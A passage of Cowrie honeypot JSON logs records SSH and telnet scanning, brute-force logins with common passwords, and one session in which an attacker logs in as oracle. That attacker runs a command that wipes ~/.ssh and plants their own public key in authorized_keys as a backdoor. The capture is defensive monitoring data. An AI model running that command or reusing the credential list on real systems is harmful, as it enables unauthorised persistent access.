hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:44.833599Z","src_ip":"20.203.42.204","session":"6de7c5eb4a01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"x","message":"login attempt [ubuntu/x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:45.530798Z","src_ip":"20.203.42.204","session":"6de7c5eb4a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:46.699952Z","src_ip":"20.203.42.204","session":"6de7c5eb4a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.243070125579834,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:47.547694Z","src_ip":"38.54.119.93","session":"d8e542e29608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.307677745819092,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:47.842956Z","src_ip":"38.54.119.93","session":"1cfd37681f2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.71571731567383,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:48.267300Z","src_ip":"38.54.119.93","session":"87486267feef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.18884563446045,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:54.849794Z","src_ip":"181.40.60.5","session":"39846127e2cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.185.231.106","src_port":40116,"dst_ip":"159.203.135.109","dst_port":23,"session":"1516bbc0d2f3","protocol":"telnet","message":"New connection: 60.185.231.106:40116 (159.203.135.109:23) [session: 1516bbc0d2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:00.893874Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57414,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4fb2f462e79","protocol":"telnet","message":"New connection: 62.210.97.77:57414 (10.17.0.5:23) [session: c4fb2f462e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:04.496588Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58526,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf4e64076ac","protocol":"telnet","message":"New connection: 165.232.131.181:58526 (10.17.0.5:23) [session: 3cf4e64076ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:07.970643Z"}
{"eventid":"cowrie.session.closed","duration":54.22338843345642,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:10.564329Z","src_ip":"38.54.119.93","session":"b6ec539f4503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":59484,"dst_ip":"10.17.0.5","dst_port":22,"session":"709859551b81","protocol":"ssh","message":"New connection: 103.176.20.115:59484 (10.17.0.5:22) [session: 709859551b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:12.732820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:12.737903Z","src_ip":"103.176.20.115","session":"709859551b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:12.987767Z","src_ip":"103.176.20.115","session":"709859551b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.784924745559692,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:13.678551Z","src_ip":"60.185.231.106","session":"1516bbc0d2f3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"`123qwer","message":"login attempt [root/`123qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:14.014871Z","src_ip":"103.176.20.115","session":"709859551b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:15.266798Z","src_ip":"103.176.20.115","session":"709859551b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46708,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b062571513","protocol":"telnet","message":"New connection: 38.54.119.93:46708 (10.17.0.5:23) [session: 17b062571513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:21.064290Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47704,"dst_ip":"10.17.0.5","dst_port":23,"session":"92f54ca25ddc","protocol":"telnet","message":"New connection: 38.54.119.93:47704 (10.17.0.5:23) [session: 92f54ca25ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:22.524074Z"}
{"eventid":"cowrie.session.closed","duration":5.068348407745361,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:27.592290Z","src_ip":"38.54.119.93","session":"92f54ca25ddc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.816251277923584,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:29.880394Z","src_ip":"38.54.119.93","session":"17b062571513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":47820,"dst_ip":"159.203.135.109","dst_port":22,"session":"50edcd2dbf94","protocol":"ssh","message":"New connection: 61.72.55.130:47820 (159.203.135.109:22) [session: 50edcd2dbf94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:33.492800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:33.498082Z","src_ip":"61.72.55.130","session":"50edcd2dbf94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:33.701940Z","src_ip":"61.72.55.130","session":"50edcd2dbf94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4R","message":"login attempt [ubuntu/1q2w3e4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:34.547731Z","src_ip":"61.72.55.130","session":"50edcd2dbf94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:35.754967Z","src_ip":"61.72.55.130","session":"50edcd2dbf94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56390,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa70fcfe06f","protocol":"telnet","message":"New connection: 165.232.131.181:56390 (10.17.0.5:23) [session: 4fa70fcfe06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:36.338495Z"}
{"eventid":"cowrie.session.closed","duration":0.005670785903930664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:36.344061Z","src_ip":"165.232.131.181","session":"4fa70fcfe06f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.99022340774536,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:38.486683Z","src_ip":"62.210.97.77","session":"c4fb2f462e79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.32372236251831,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:45.294263Z","src_ip":"165.232.131.181","session":"3cf4e64076ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00208878517151,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:46.433629Z","src_ip":"38.54.119.93","session":"509db5df1cf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39484,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fed0e1ecf5f","protocol":"telnet","message":"New connection: 38.54.119.93:39484 (10.17.0.5:23) [session: 9fed0e1ecf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:52.195429Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45392,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f20472dc89","protocol":"telnet","message":"New connection: 165.232.131.181:45392 (10.17.0.5:23) [session: 00f20472dc89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:50:53.325441Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":43576,"dst_ip":"10.17.0.5","dst_port":23,"session":"e713c8025316","protocol":"telnet","message":"New connection: 45.81.23.16:43576 (10.17.0.5:23) [session: e713c8025316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:00.630209Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46482,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5188b5852ae","protocol":"telnet","message":"New connection: 38.54.119.93:46482 (10.17.0.5:23) [session: c5188b5852ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:02.468089Z"}
{"eventid":"cowrie.session.closed","duration":6.173049211502075,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:08.641013Z","src_ip":"38.54.119.93","session":"c5188b5852ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.077796697616577,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:10.707890Z","src_ip":"45.81.23.16","session":"e713c8025316","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":48126,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dd785d11513","protocol":"ssh","message":"New connection: 103.176.20.115:48126 (10.17.0.5:22) [session: 3dd785d11513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:11.143695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:11.149423Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:11.397974Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Passw0rd","message":"login attempt [oracle/Passw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:12.422292Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:12.964887Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:12.968133Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:12.971414Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:13.222788Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:13.765127Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:13.768631Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:14.021567Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:14.025879Z","src_ip":"103.176.20.115","session":"3dd785d11513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":49150,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0b1c450f15c","protocol":"ssh","message":"New connection: 103.176.20.115:49150 (10.17.0.5:22) [session: d0b1c450f15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:14.278636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:14.283951Z","src_ip":"103.176.20.115","session":"d0b1c450f15c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:14.543902Z","src_ip":"103.176.20.115","session":"d0b1c450f15c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:15.611552Z","src_ip":"103.176.20.115","session":"d0b1c450f15c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:16.873957Z","src_ip":"103.176.20.115","session":"d0b1c450f15c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":50098,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc42ce64c757","protocol":"ssh","message":"New connection: 103.176.20.115:50098 (10.17.0.5:22) [session: bc42ce64c757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:17.116892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:51:17.125998Z","src_ip":"103.176.20.115","session":"bc42ce64c757","protocol":"ssh"}
